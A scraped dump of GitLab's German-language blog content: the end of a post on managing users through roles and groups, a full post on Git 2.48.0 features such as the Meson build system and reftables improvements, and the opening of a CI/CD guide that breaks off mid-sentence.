Projektmitglieder](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097278/Blog/Content%20Images/Blog/Content%20Images/image1_aHR0cHM6_1750097278487.png)\n\nGitLab-Benutzer(innen) können zu einem Projekt eingeladen werden und [bekommen eine Rolle zugewiesen](https://docs.gitlab.com/ee/user/permissions.html) (nur in englischer Sprache verfügbar), die bestimmt, was sie in dem Projekt tun können. Projekteigentümer(innen) können andere Benutzer(innen) als Betreuer(innen) mit Verwaltungsaufgaben betrauen. Diese können fast dieselben Aufgaben ausführen wie Projekteigentümer(innen) , abgesehen von Änderungen am Projekt, wie z. B. das Löschen, Archivieren oder Übertragen eines Projekts.\n\n![Bildschirm zum Einladen von Mitgliedern](https://res.cloudinary.com/about-gitlab-com/image/upload/v1750097278/Blog/Content%20Images/Blog/Content%20Images/image2_aHR0cHM6_1750097278487.png)\n\n[Betreuer(innen)](https://docs.gitlab.com/ee/user/permissions.html#roles) (nur in englischer Sprache verfügbar) des Projekts können andere Mitglieder als Entwickler(innen) einladen. Diese haben dann Zugriff auf alle Funktionen zum Entwickeln, Erstellen und Bereitstellen von Software. Benutzer(innen), die keine Entwickler(innen) sind, aber Zugang zum Projektmanagement benötigen, können in einer [Planungsrolle](https://about.gitlab.com/de-de/blog/introducing-gitlabs-new-planner-role-for-agile-planning-teams/), als Reporter(innen) oder Gäste mit unterschiedlichen Berechtigungsstufen in das Projekt eingeladen werden. Mit diesen Rollen lässt sich mit [geschützten Branches](https://docs.gitlab.com/ee/user/project/repository/branches/protected.html) (nur in englischer Sprache verfügbar) auch festlegen, wer Änderungen an bestimmten Branches vornehmen darf.\n\nWenn du mit Auftragnehmer(innen) zusammenarbeitest oder deine Nutzung erfordert, dass die Benutzerberechtigungen verfallen können, kannst du ein Ablaufdatum festlegen, nach dem Benutzer(innen) den Zugriff auf das Projekt verlieren. Projektmitglieder können basierend auf der [Art ihrer Mitgliedschaft](https://docs.gitlab.com/ee/user/project/members/#membership-types) (nur in englischer Sprache verfügbar) auch als direkte oder indirekte Mitglieder identifiziert werden. Direkte Mitglieder werden direkt in das Projekt eingeladen, während indirekte Mitglieder oft aus einer [GitLab-Gruppe](https://docs.gitlab.com/ee/user/group/) (nur in englischer Sprache verfügbar), zu der ein Projekt gehört, übernommen werden.\n\nSehen wir uns nun die Gruppenmitgliedschaften an.\n\n## Gruppenmitgliedschaften\n\nGruppen in GitLab können eine oberste Ebene sein, die im Stammverzeichnis einer GitLab-Instanz erstellt wird, wie z. B. [gitlab.com/gitlab-org](http://gitlab.com/gitlab-org). Dies ist eine übergeordnete Gruppe, die zum Organisieren anderer Untergruppen wie [gitlab.com/gitlab-org/charts](http://gitlab.com/gitlab-org/charts) verwendet wird. Gruppen sind auch dann nützlich, wenn du nur ein Projekt hast.\n\nGruppen können für verschiedene Zwecke verwendet werden:\n\n- Organisation ähnlicher oder verwandter Projekte  \n- Organisation der Benutzer(innen) in Gruppen zur besseren Teamkoordination\n\nWenn du Gruppen zur Organisation von Benutzer(inne)n verwendest, kannst du Teams in Gruppen organisieren und [eine Gruppe zu einem Projekt einladen](https://docs.gitlab.com/ee/user/project/members/sharing_projects_groups.html) (nur in englischer Sprache verfügbar) und allen Mitgliedern des Teams die gleiche Rolle geben. Du kannst eine `dev`-Gruppe für die Entwickler(innen) des Teams haben, eine `pm`-Gruppe für die Projektmanager(innen) und eine `leads`-Gruppe für die Teamleiter(innen). Wenn du die Gruppen einlädst, kann `dev` die Rolle Entwickler(in), `pm` die Rolle Planer(in) und `leads` die Rolle Betreuer(in) zugewiesen werden.\n\n!]Bildschirm zum Einladen von Gruppen](https://res.cloudinary.com/about-gitlab-com/image/upload/v1752175686/Blog/ce7ulc2obua9zaz2zjsb.png)\n\nIn jeder Gruppe können Mitglieder hinzugefügt oder entfernt werden, ohne dass die Projektberechtigungen aktualisiert werden müssen. Das ist besonders nützlich, wenn dein Team auf mehrere Projekte angewachsen ist. Es gibt jedoch [bewährte Methoden](https://docs.gitlab.com/ee/user/project/members/sharing_projects_groups.html#setting-up-a-group-for-collaboration) (nur in englischer Sprache verfügbar) für die Verwendung von Gruppen für die Zusammenarbeit.\n\nEin weiterer hilfreicher Aspekt bei der Organisation von Benutzer(inne)n in Gruppen ist, dass du die gesamte Gruppe in Tickets, Merge Requests oder Kommentaren [erwähnen](https://docs.gitlab.com/ee/user/discussions/#mentions) (nur in englischer Sprache verfügbar) kannst. Das vereinfacht den Informationsaustausch mit dem gesamten Team.\n\n### Untergruppen erstellen\n\n[Untergruppen](https://docs.gitlab.com/ee/user/group/subgroups/) (nur in englischer Sprache verfügbar) können verwendet werden, um die Benutzer(innen) in einer Gruppe weiter zu unterteilen. Du kannst bis zu 20 ineinander verschachtelte Untergruppen hinzufügen. Benutzer(innen) in einer Untergruppe erben die Rechte aus der übergeordneten Gruppe. Wenn du jemandem in einer Untergruppe eine höhere Rolle zuweisen möchtest, als er/sie geerbt hat, musst du ihn/sie [in die Untergruppe mit der neuen höheren Rolle einladen](https://docs.gitlab.com/ee/user/group/subgroups/#override-ancestor-group-membership) (nur in englischer Sprache verfügbar). Hinweis: Du kannst ihm/ihr in der Untergruppe keine untergeordnete Rolle zuweisen.\n\n### Gruppen verwalten\n\nGruppeneigentümer(innen) haben mehrere Verwaltungsoptionen, um festzulegen, wie Benutzer(innen) in einer Gruppe funktionieren. Du kannst z. B. festlegen, wie eine Person den Zugang zu einer Gruppe anfordert, [Gruppenerwähnungen](https://docs.gitlab.com/ee/user/group/manage.html#disable-group-mentions) aktivieren/deaktivieren, den [Zugang einschränken](https://docs.gitlab.com/ee/user/group/manage.html#turn-on-restricted-access) oder [Benutzer(innen) moderieren](https://docs.gitlab.com/ee/user/group/moderate_users.html), um nur einige Optionen zu nennen. Eine interessante neue Funktion, die sich zum Zeitpunkt der Veröffentlichung dieses Artikels noch in der Entwicklung befindet, ist die [automatische Löschung von ruhenden Benutzer(innen)](https://docs.gitlab.com/ee/user/group/moderate_users.html#automatically-remove-dormant-members) nach einem Minimum von 90 Tagen und einem Maximum von fünf Jahren. Dies wird dazu beitragen, die Gruppen übersichtlich zu halten und die Freigabe von Lizenzplätzen besser zu verwalten. (Alle verlinkten Artikel in diesem Absatz sind nur in englischer Sprache verfügbar.)\n\n## Mehr erfahren\n\nDas Verwalten von Benutzer(inne)n in GitLab hängt von deinem Anwendungsfall ab. Wenn dein Unternehmen größer ist und fortgeschrittene Workflows und Benutzerverwaltung benötigt, bietet GitLab fortschrittlichere Möglichkeiten zur Verwaltung von [Unternehmensbenutzern](https://docs.gitlab.com/ee/user/enterprise_user/index.html) (nur in englischer Sprache verfügbar). Du kannst auch weitere Optionen zum [Verwalten deines Unternehmens](https://docs.gitlab.com/ee/topics/set_up_organization.html) (nur in englischer Sprache verfügbar) erkunden. Mit [GitLab Ultimate](https://about.gitlab.com/de-de/pricing/ultimate/) erhältst du mehr Granularität und weitere Compliance-Funktionen.\n\n> #### Möchtest du dein Lernen auf ein neues Niveau heben? [Registriere dich für die englischsprachigen Kurse der GitLab University](https://university.gitlab.com/). Du kannst auch sofort loslegen mit [einer kostenlosen Testversion von GitLab Ultimate](https://gitlab.com/-/trials/new?glm_content=default-saas-trial&glm_source=about.gitlab.com%2F).",[2237],"2025-01-14","Benutzerverwaltung mit GitLab: Erste Schritte",[746,745,767,973,680],"Erfahre, wie du Benutzer(innen) mithilfe von Gruppen, Rollen und Berechtigungen verwalten kannst. Erkunde die Einrichtung einer sicheren Zusammenarbeit mit dem richtigen Projektzugang.",{"slug":2281,"featured":92,"template":682},"getting-started-with-gitlab-how-to-manage-users","content:de-de:blog:getting-started-with-gitlab-how-to-manage-users.yml","Getting Started With Gitlab How To Manage Users","de-de/blog/getting-started-with-gitlab-how-to-manage-users.yml","de-de/blog/getting-started-with-gitlab-how-to-manage-users",{"_path":2287,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2288,"content":2294,"config":2301,"_id":2303,"_type":16,"title":2304,"_source":17,"_file":2305,"_stem":2306,"_extension":20},"/de-de/blog/whats-new-in-git-2-48-0",{"title":2289,"description":2290,"ogTitle":2289,"ogDescription":2290,"noIndex":6,"ogImage":2291,"ogUrl":2292,"ogSiteName":1396,"ogType":1397,"canonicalUrls":2292,"schema":2293},"Was gibt es Neues in Git 2.48.0?","Erfahre, was dich in der neuesten Version von Git erwartet, darunter ein neues Build-System und eine Optimierung im neuen reftables-Backend. Entdecke Beiträge des Git-Teams von GitLab und der Git-Community.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749663691/Blog/Hero%20Images/AdobeStock_752438815.jpg","https://about.gitlab.com/blog/whats-new-in-git-2-48-0","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Was gibt es Neues in Git 2.48.0?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Christian Couder\"}],\n        \"datePublished\": \"2025-01-10\",\n      }\n                  ",{"title":2289,"description":2290,"authors":2295,"heroImage":2291,"date":2297,"body":2298,"category":1033,"tags":2299,"updatedDate":2300},[2296],"Christian Couder","2025-01-10","Das Git-Projekt hat kürzlich [Git 2.48.0](https://lore.kernel.org/git/xmqqplku7cvm.fsf@gitster.g/). Werfen wir einen Blick auf die wichtigsten Highlights dieser Version, die Beiträge des Git-Teams von GitLab und der gesamten Git-Community enthält.\n\n## Meson-Build-System\n\nLange Zeit konnte Git entweder mit einem auf [Makefile](https://de.wikipedia.org/wiki/Make) oder auf [Autoconf](https://de.wikipedia.org/wiki/GNU_Build_System#GNU_Autoconf) basierenden Build-System erstellt werden. Git-Entwickler(innen) verwendeten bis jetzt hauptsächlich das auf Makefile basierende Build-System, weshalb [das auf Autoconf basierende Build-System hinsichtlich Funktionen und Wartung hinterherhinkte](https://lore.kernel.org/git/GV1PR02MB848925A79A9DD733848182D58D662@GV1PR02MB8489.eurprd02.prod.outlook.com/). Ein weiteres Problem war, dass viele Windows-Entwickler(innen) integrierte Entwicklungsumgebungen (IDEs) verwendeten, die auf Makefile und Autoconf basierende Build-Systeme nicht gut unterstützten.\n\nIm Jahr 2020 wurde die Unterstützung für die Entwicklung um Git und [CMake](https://cmake.org/) ergänzt. CMake bot eine bessere Windows-Unterstützung und IDE-Integration, insbesondere für Visual Studio. Einige moderne Build-Systemfunktionen wie Out-of-Source-Builds waren ebenfalls enthalten.\n\nVor kurzem schien es, dass der CMake-Support ebenfalls hinterherhinkte und dass es vielleicht keine gute Idee wäre, die beiden anderen Build-Systeme zu ersetzen. Also implementierte [Patrick Steinhardt](https://gitlab.com/pks-gitlab), GitLab Git Engineering Manager, Unterstützung für das [Meson-Build-System](https://mesonbuild.com/). Ziel dabei war, irgendwann die auf Autoconf, CMake und vielleicht sogar Makefile basierenden Build-Systeme zu ersetzen.\n\nDas neue, auf Meson basierende Build-System hat folgende Vorteile:\n* Benutzer(innen) können die verfügbaren Build-Optionen einfacher finden, was mit Makefiles und CMake schwierig ist.\n* Einfache Syntax im Vergleich zu Autoconf und CMake.\n* Viele verschiedene Betriebssysteme, Compiler und IDEs werden unterstützt.\n* Moderne Build-Systemfunktionen wie Out-of-Source-Builds werden unterstützt.\n\nHier ist ein Beispiel dafür, wie es tatsächlich zum Erstellen von Git verwendet werden kann:\n\n```shell\n$ cd git             \t# go into the root of Git's source code\n$ meson setup build/ \t# setup \"build\" as a build directory\n$ cd build           \t# go into the \"build\" directory\n$ meson compile      \t# actually build Git\n$ meson test         \t# test the new build\n$ meson install      \t# install the new build\n\n```\n\nMit `meson setup \u003Cbuild_dir>` können mehrere Build-Verzeichnisse eingerichtet werden, und die Konfiguration des Builds in einem Build-Verzeichnis kann durch Ausführen von `meson configure` im Build-Verzeichnis angezeigt oder geändert werden.\n\nWeitere Informationen zum Erstellen von Git mit Meson findest du oben in der [Datei `meson.build`](https://gitlab.com/gitlab-org/git/-/blob/master/meson.build) im Git-Code-Repository. Ein [Vergleich der verschiedenen Build-Systeme](https://gitlab.com/gitlab-org/git/-/blob/master/Documentation/technical/build-systems.txt) für Git ist als Teil der technischen Dokumentation von Git verfügbar.\n\nDieses Projekt wurde von [Patrick Steinhardt](https://gitlab.com/pks-gitlab) geleitet.\n\n## Git ist hat jetzt keine Speicherlecks mehr (wie von der Testsuite ausgeführt)\n\nIn unserem Git-Release-Blogbeitrag zur vorherigen Release Git 2.47.0 sprachen wir über unsere [laufenden Bemühungen, alle Speicherlecks zu beheben](https://about.gitlab.com/de-de/blog/whats-new-in-git-2-47-0/#code-refactoring-and-maintainability-improvements), die durch bestehende Tests im Projekt aufgedeckt wurden. Wir sagten, dass das Projekt vor der Git-Release 2.47.0 223 Testdateien hatte, die Speicherlecks enthielten, und dass dies nun auf 60 reduziert wurde.\n\nWir freuen uns, dass die Speicherlecks jetzt in allen 60 verbleibenden Testdateien behoben wurden. Dadurch hat Git, wie von der Testsuite gezeigt, nun keine Speicherlecks mehr. Dies ist ein wichtiger Schritt in Richtung des langjährigen Ziels, Git-interne Komponenten zu „libifizieren“ (also diese Komponenten in interne Bibliotheken zu konvertieren). Außerdem trägt es dazu bei, Git für die Speichernutzung zu optimieren.\n\nNun darf jeder neu hinzugefügte Test standardmäßig kein Leck enthalten. Es ist immer noch möglich, Tests mit Lecks zu haben, aber die Autor(inn)en müssen dafür eine Notlösung haben und gute Argumente liefern, warum der Test nicht ohne Lecks erstellt werden kann.\n\nDieses Projekt wurde von [Patrick Steinhardt](https://gitlab.com/pks-gitlab) geleitet.\n\n## Verbesserte Bundle-URI-Checks\n\nIn unserem Git-Release-Blogbeitrag zur Release von Git 2.46.0 sprachen wir über einige [Bundle-URI-Fixes](https://about.gitlab.com/de-de/blog/whats-new-in-git-2-46-0/#bundle-uri-fixes) von [Xing Xin](https://lore.kernel.org/git/pull.1730.git.1715742069966.gitgitgadget@gmail.com/).\nNach diesen Korrekturen arbeitete Xing Xin daran, dass [Abrufe mit Bundles](https://lore.kernel.org/git/pull.1730.v8.git.1718770053.gitgitgadget@gmail.com/) vollständig mit dem [fsck](https://git-scm.com/docs/git-fsck)-Mechanismus wie reguläre Abrufe überprüft werden konnten.\n\nBei der Validierung von regelmäßigen Abrufen ist es möglich, [verschiedene Schweregrade](https://git-scm.com/docs/git-fsck#Documentation/git-fsck.txt-fsckltmsg-idgt) für [verschiedene fsck-Probleme](https://git-scm.com/docs/git-fsck#_fsck_messages) festzulegen, um feiner steuern zu können, was in einem bestimmten Repository akzeptiert und was abgelehnt wird. Dies war zuvor für Abrufe mit Bundles nicht möglich.\n\nUm den Nutzen und die Sicherheit von [Bundle-URIs](https://git-scm.com/docs/bundle-uri) weiter zu erhöhen, haben wir [dieses Problem](https://lore.kernel.org/git/20241121204119.1440773-1-jltobler@gmail.com/) behoben, damit die verschiedenen Schweregrade, die für verschiedene fsck-Probleme festgelegt wurden, jetzt auch bei der Überprüfung von Abrufen mit Bundles verwendet werden können.\n\nDieses Projekt wurde von [Justin Tobler](https://gitlab.com/justintobler) geleitet.\n\n## Referenzkonsistenzprüfungen hinzufügen\n\nIn unserem Blogbeitrag zur Release von Git 2.47.0 erwähnten wir die Arbeit von Jialuo She an dem [neuen Unterbefehl „Verify“](https://about.gitlab.com/de-de/blog/whats-new-in-git-2-47-0/#new-subcommand-for-git-refs(1) zu git-refs(1), der Teil des [Google Summer of Code 2024](https://summerofcode.withgoogle.com/archive/2024/projects/ukm4PTEF) (GSoC 2024) war.\n\nIn diesem Blogbeitrag erläuterten wir, dass das Ziel schlussendlich darin bestand, diesen neuen Unterbefehl als Teil von git-fsck(1) zu integrieren und dadurch eine vereinheitlichte Möglichkeit zu schaffen, Konsistenzüberprüfungen von Repositories durchzuführen. Jialuo She hat beschlossen, daran zu arbeiten, nachdem sein GSoC vorbei war.\n\nDas Ergebnis [dieser Arbeit](https://lore.kernel.org/git/ZrtrT1CPI4YUf5db@ArchLinux/) ist, dass git-fsck(1) jetzt eine Reihe von referenzbezogenen Problemen erkennen und beheben kann, z. B. wenn der Inhalt einer Referenz schlecht ist, wenn ein symbolischer Link als symbolische Referenz verwendet wird oder wenn das Ziel einer symbolischen Referenz nicht auf eine gültige Referenz verweist. Wir müssen weiterhin `git refs verify` als Teil von git-fsck(1) aufrufen und erstere alle nicht backendspezifischen Überprüfungen durchführen lassen, die letztere derzeit durchführt, aber wir sind unserem Ziel einer vereinheitlichten Möglichkeit, alle Konsistenzüberprüfungen von Refs durchzuführen, ein Stückchen näher gekommen.\n\nDieses Projekt wurde von Jialuo She geleitet.\n\n## Iterator-Wiederverwendung in reftables\n\nIn der Version [Git 2.45.0](https://gitlab.com/gitlab-org/git/-/raw/master/Documentation/RelNotes/2.45.0.txt) wurde das reftables-Format als neues Backend zum Speichern von Referenzen (meist Branches und Tags) eingeführt. Wenn du mit dem reftables-Backend noch nicht vertraut bist, lies dir unseren letzten [Blogbeitrag zur Git-Release](https://about.gitlab.com/de-de/blog/whats-new-in-git-2-45-0/) durch, in dem das Feature vorgestellt wurde. Auch unsere Anfängerleitfaden ist toll, um [mehr darüber zu erfahren, wie reftables funktionieren](https://about.gitlab.com/de-de/blog/a-beginners-guide-to-the-git-reftable-format/).\n\nSeit dieser Release haben wir dieses Backend weiter verbessert und uns in letzter Zeit darauf konzentriert, seine Leistung zu verbessern, indem wir beim Lesen zufälliger Referenzen [einige interne Iteratoren wiederverwenden](https://lore.kernel.org/git/cover.1730732881.git.ps@pks.im/). Vor diesen Änderungen musste beim Lesen einer einzelnen Referenz ein ganz neuer Iterator erstellt, an der richtigen Stelle in den jeweiligen Tabellen gesucht und dann der nächste Wert daraus gelesen werden, was beim Lesen vieler Referenzen in schneller Folge ziemlich ineffizient sein kann. Nach der Änderung erstellen wir jetzt nur noch einen einzigen Iterator und verwenden ihn wieder, um mehrere Referenzen zu lesen, wodurch wir etwas Overhead sparen.\n\nDadurch verbessert sich die Leistung in einer Reihe von reftables-bezogenen Anwendungsfällen, so etwa ist das Erstellen vieler Referenzen in einer Transaktion, die viele zufällige Lesevorgänge durchführt, um 7 % schneller. Darüber hinaus schafft dies die Möglichkeit für weitere Optimierungen, da wir weiterhin mehr Zustände in den Iteratoren wiederverwenden können.\n\nDieses Projekt wurde von [Patrick Steinhardt](https://gitlab.com/pks-gitlab) geleitet.\n\n## Unterstützung für reflogs in `git-refs migrate`\n\nNachdem das reftables-Backend in Git 2.45.0 eingeführt wurde (siehe obigen Abschnitt), haben wir in Git 2.46.0 an Tools zur Migration von Referenz-Backends gearbeitet. Ziel war, einen neuen Unterbefehl `migrate` zu git-refs(1) hinzuzufügen.\n\nIm Artikel über Git 2.46.0 [ging es um diese Arbeit](https://about.gitlab.com/de-de/blog/whats-new-in-git-2-46-0/#tooling-to-migrate-reference-backends) und einige der Einschränkungen, die noch existierten. In dem Artikel heißt es insbesondere:\n\n„Die reflogs in einem Repository werden auch über das Referenz-Backend gespeichert und würden ebenfalls eine Formatmigration erfordern. Leider ist das Tool noch nicht in der Lage, reflogs zwischen den files- und reftables-Backends zu konvertieren.“\n\nWir freuen uns, dass wir [diese Einschränkung in Git 2.48.0 behoben haben](https://lore.kernel.org/git/20241216-320-git-refs-migrate-reflogs-v4-0-d7cd3f197453@gmail.com/).\nReflogs können jetzt auch mit `git refs migrate` migriert werden. Das Migrationstool ist noch nicht in der Lage, ein Repository mit mehreren Arbeitsbäumen zu verwalten, aber dies ist die einzige verbleibende Einschränkung. Wenn du keine Arbeitsbäume verwendest, kannst du das reftables-Backend bereits in deinen vorhandenen Repositories nutzen.\n\nDieses Projekt wurde von [Karthik Nayak](https://gitlab.com/knayakgl) geleitet.\n\n## Optimierung von „ref-filter“\n\nDas Subsystem „ref-filter“ ist ein Formatierungscode, der von Befehlen wie `git for-each-ref`, `git branch` und `git tag` verwendet wird, um Informationen zu Git-Referenzen zu sortieren, zu filtern, zu formatieren und anzuzeigen.\n\nWenn Repositories wachsen, können sie eine große Anzahl von Referenzen enthalten. Aus diesem Grund arbeiten wir nicht nur daran, Backends zu verbessern, die Referenzen speichern, wie das reftables-Backend (siehe oben), sondern auch den Formatierungscode zu optimieren, wie zum Beispiel das Subsystem „ref-filter“.\n\nWir haben kürzlich [einen Weg gefunden](https://lore.kernel.org/git/d23c3e3ee7fdb49fcd05b4f2e52dd2a1cfdc10f2.1729510342.git.ps@pks.im/), wie wir vermeiden können, dass Referenzen vorübergehend gepuffert und im ref-Filtercode mehrmals wiederholt werden, wenn sie in der gleichen Sortierreihenfolge verarbeitet werden sollen, wie sie von den Backends bereitgestellt wird. Dies führt zu Speichereinsparungen und macht bestimmte Befehle in einigen Fällen bis zu 770-mal schneller.\n\nDieses Projekt wurde von [Patrick Steinhardt](https://gitlab.com/pks-gitlab) geleitet.\n\n## Weiterlesen\n\nIn diesem Blogbeitrag werden nur einige der Beiträge von GitLab und der ganzen Git-Community für diese neueste Release vorgestellt. Diese kannst du in der offiziellen Versionsankündigung des Git-Projekts nachlesen. Sieh dir auch unsere [letzten Blogbeiträge zu Git-Releases](https://about.gitlab.com/blog/tags/git/) an, um weitere wichtige Beiträge von GitLab-Teammitgliedern zu entdecken.\n\n- [Was gibt es Neues in Git 2.47.0?](https://about.gitlab.com/de-de/blog/whats-new-in-git-2-47-0/)\n- [Was gibt es Neues in Git 2.46.0?](https://about.gitlab.com/de-de/blog/whats-new-in-git-2-46-0/)\n- [Was gibt es Neues in Git 2.45.0](https://about.gitlab.com/de-de/blog/whats-new-in-git-2-45-0/)\n- [Der Anfängerleitfaden zum „reftables“-Format von Git](https://about.gitlab.com/de-de/blog/a-beginners-guide-to-the-git-reftable-format/)\n",[849,913,270],"2025-01-20",{"slug":2302,"featured":92,"template":682},"whats-new-in-git-2-48-0","content:de-de:blog:whats-new-in-git-2-48-0.yml","Whats New In Git 2 48 0","de-de/blog/whats-new-in-git-2-48-0.yml","de-de/blog/whats-new-in-git-2-48-0",{"_path":2308,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":2309,"content":2315,"config":2322,"_id":2324,"_type":16,"title":2325,"_source":17,"_file":2326,"_stem":2327,"_extension":20},"/de-de/blog/ultimate-guide-to-ci-cd-fundamentals-to-advanced-implementation",{"title":2310,"description":2311,"ogTitle":2310,"ogDescription":2311,"noIndex":6,"ogImage":2312,"ogUrl":2313,"ogSiteName":1396,"ogType":1397,"canonicalUrls":2313,"schema":2314},"Der ultimative CI/CD-Leitfaden: Grundlagen für die erweiterte Implementierung","Erfahre, wie du die kontinuierliche Integration/kontinuierliche Bereitstellung modernisierst und die Entwicklung, Lieferung und Sicherheit von Pipelines automatisierst.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749660151/Blog/Hero%20Images/blog-image-template-1800x945__26_.png","https://about.gitlab.com/blog/ultimate-guide-to-ci-cd-fundamentals-to-advanced-implementation","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Der ultimative CI/CD-Leitfaden: Grundlagen für die erweiterte Implementierung\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sandra Gittlen\"}],\n        \"datePublished\": \"2025-01-06\",\n      }",{"title":2310,"description":2311,"authors":2316,"heroImage":2312,"date":2318,"body":2319,"category":697,"tags":2320,"updatedDate":2321},[2317],"Sandra Gittlen","2025-01-06","Die kontinuierliche Integration/kontinuierliche Lieferung ([CI/CD](https://about.gitlab.com/de-de/topics/ci-cd/)) hat die Art und Weise revolutioniert, wie Softwareteams Werte für ihre Benutzer(innen) schaffen. Vorbei sind die Zeiten manueller Bereitstellungen und komplizierter Integrationen – moderne Entwicklung erfordert Automatisierung, Zuverlässigkeit und Geschwindigkeit.\n\nIm Grunde geht es bei CI/CD darum, eine nahtlose Pipeline zu erstellen, die Code von der Umgebung der Entwickler(innen) bis hin zur Produktion überführt und Feedback in Echtzeit einbezieht. [CI](https://about.gitlab.com/de-de/topics/ci-cd/benefits-continuous-integration/) hilft Teams, Mängel frühzeitig zu erkennen – bevor sie zu kostspieligen Problemen werden –, indem sichergestellt wird, dass Codeänderungen häufig in einem gemeinsamen Repository zusammengeführt, automatisch getestet und validiert werden. [CD](https://about.gitlab.com/de-de/topics/ci-cd/#what-is-continuous-delivery-cd) führt diesen Ansatz fort, indem es den Bereitstellungsprozess automatisiert und die Releases vorhersehbar und stressfrei macht.\n\nAnstatt sich auf manuelle Prozesse und komplexe Toolchains für die Softwareentwicklung zu verlassen, können Teams eine robuste CI/CD-Pipeline verwenden, um Software zu erstellen, zu testen und bereitzustellen. Die KI kann diesen Prozess noch weiter optimieren und automatisch CI/CD-Pipelines erstellen, die konsistente Qualität, Compliance und Sicherheitsüberprüfungen ermöglichen.\n\nIn diesem Leitfaden werden moderne CI/CD-Pipelines von den Grundprinzipien über Best Practices bis hin zu fortschrittlichen Strategien erklärt. Du erfährst außerdem, wie führende Unternehmen CI/CD nutzen, um wirkungsvolle Ergebnisse zu erzielen. Mit den Erkenntnissen dieses Leitfadens kannst du deine DevSecOps-Umgebung skalieren und Software [agil](https://about.gitlab.com/de-de/topics/ci-cd/continuous-integration-agile/), automatisiert und effizient entwickeln und bereitstellen.\n\n## Inhalt: Das erwartet dich\n\n- [Was ist kontinuierliche Integration?](#was-ist-kontinuierliche-integration%3F)\n- [Was ist kontinuierliche Lieferung?](#was-ist-kontinuierliche-lieferung%3F)\n- [Wie hängt die Quellcodeverwaltung mit CI/CD zusammen?](#wie-hängt-die-quellcodeverwaltung-mit-cicd-zusammen%3F)\n- [Die Vorteile von CI/CD in der modernen Softwareentwicklung](#die-vorteile-von-cicd-in-der-modernen-softwareentwicklung)\n - [Hauptunterschiede zwischen CI/CD und traditioneller Entwicklung](#hauptunterschiede-zwischen-cicd-und-traditioneller-entwicklung)\n- [Grundlagen von CI/CD verstehen](#grundlagen-von-cicd-verstehen)\n - [Was ist eine CI/CD-Pipeline?](#was-ist-eine-cicd-pipeline%3F)\n- [Best Practices für CI/CD-Implementierung und -Management](#best-practices-für-cicd-implementierung-und--management)\n - [Best Practices für CI](#best-practices-für-ci)\n - [Best Practices für CD](#best-practices-für-cd)\n- [Erste Schritte mit CI/CD](#erste-schritte-mit-cicd)\n- [Sicherheit, Compliance und CI/CD](#sicherheit-compliance-und-cicd)\n- [CI/CD und die Cloud](#cicd-und-die-cloud)\n- [Erweitertes CI/CD](#erweitertes-cicd)\n - [Wiederverwendung und Automatisierung in CI/CD](#wiederverwendung-und-automatisierung-in-cicd)\n - [Problembehebung für Pipelines mithilfe von KI](#problembehebung-für-pipelines-mithilfe-von-ki)\n- [So migrierst du zu GitLab CI/CD](#so-migrierst-du-zu-gitlab-cicd)\n- [Erfahrungsberichte von führenden Unternehmen](#erfahrungsberichte-von-führenden-unternehmen)\n- [CI/CD-Tutorials](#cicd-tutorials)\n\n## Was ist kontinuierliche Integration?\n\nUnter [kontinuierlicher Integration](https://about.gitlab.com/de-de/topics/ci-cd/benefits-continuous-integration/) (CI) versteht man das Vorgehen, alle Codeänderungen frühzeitig und häufig in den main-Branch eines gemeinsamen Quellcode-Repositorys zu integrieren, Änderungen automatisch zu testen, wenn sie committet oder zusammengeführt werden, und automatisch einen Build zu starten. Mit kontinuierlicher Integration können Teams Fehler und Sicherheitsprobleme leichter und viel früher im Entwicklungsprozess erkennen und beheben.\n\n## Was ist kontinuierliche Lieferung?\n[Kontinuierliche Lieferung](https://about.gitlab.com/de-de/topics/ci-cd/#what-is-continuous-delivery-cd) (CD) – manchmal auch _kontinuierliche Bereitstellung_ genannt – ermöglicht es Unternehmen, ihre Anwendungen automatisch bereitzustellen, sodass Entwickler(innen) mehr Zeit haben, sich auf die Überwachung des Bereitstellungsstatus zu konzentrieren und den Erfolg sicherzustellen. Bei der kontinuierlichen Lieferung legen DevOps-Teams die Kriterien für die Codefreigabe im Voraus fest. Wenn diese Kriterien erfüllt und validiert sind, wird der Code in der Produktivumgebung bereitgestellt. So können Unternehmen flexibler sein und neue Funktionen den Benutzer(inne)n schneller zur Verfügung stellen.\n\n## Wie hängt die Quellcodeverwaltung mit CI/CD zusammen?\n\nQuellcodeverwaltung ([Source Code Management, SCM](https://about.gitlab.com/de-de/solutions/source-code-management/)) und CI/CD bilden die Grundlage moderner Softwareentwicklungsverfahren. SCM-Systeme wie [Git](https://about.gitlab.com/de-de/blog/what-is-git-the-ultimate-guide-to-gits-role-and-functionality/) bieten eine zentrale Möglichkeit, Änderungen zu verfolgen, verschiedene Codeversionen zu verwalten und die Zusammenarbeit zwischen den Teammitgliedern zu erleichtern. Wenn Entwickler(innen) an neuen Funktionen oder Fehlerbehebungen arbeiten, erstellen sie Branches aus der main-Codebase, nehmen ihre Änderungen vor und [führen sie dann über Merge Requests zusammen](https://docs.gitlab.com/ee/user/project/merge_requests/) (Artikel nur in englischer Sprache verfügbar). Diese Branching-Strategie macht es möglich, dass mehrere Entwickler(innen) gleichzeitig arbeiten können, ohne sich gegenseitig in die Quere zu kommen, und gleichzeitig einen stabilen main-Branch zu bewahren, der immer produktionsreifen Code enthält.\n\nCI/CD übernimmt den von SCM-Systemen verwalteten Code und erstellt, testet und validiert ihn automatisch, wenn Änderungen gepusht werden. Wenn Entwickler(innen) Codeänderungen einreichen, ruft das CI/CD-System automatisch den neuesten Code ab, kombiniert ihn mit der vorhandenen Codebase und führt eine Reihe automatisierter Überprüfungen durch. Dazu gehören in der Regel das Kompilieren des Codes, das Ausführen von Unit-Tests, das Durchführen einer statischen Codeanalyse und das Überprüfen der Testabdeckung. Wenn einer dieser Schritte fehlschlägt, wird das Team sofort benachrichtigt, sodass es Probleme beheben kann, bevor sie sich auf andere Entwickler(innen) auswirken oder in die Produktivumgebung überführt werden. Durch diese enge Integration zwischen Versionskontrolle und kontinuierlicher Integration entsteht eine Feedbackschleife, die dazu beiträgt, die Codequalität 